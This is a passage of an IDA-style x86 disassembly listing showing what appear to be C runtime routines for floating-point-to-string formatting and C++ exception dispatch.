sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5


loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9


loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916


loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax


loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax


loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48A084, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------


loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h


loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48A084, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h


loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl


loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48A084, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h


loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax


loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_48A084, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------


loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35


loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi


loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h


loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_48A088, ecx
		setl	cl
		mov	byte_48A08C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6


loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al


loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h


loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48A084, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_48A084, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48A084, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_48A084, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------


loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D


loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi


loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552


loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------


loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h


loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax


loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A


loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552


loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552


loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552


loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax


loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E


loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B


loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C


loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]


loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------


loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx


loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90


loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax


loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88


loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7


loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7


loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7


loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB


loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax


loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037


loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552


loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0


loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------


loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
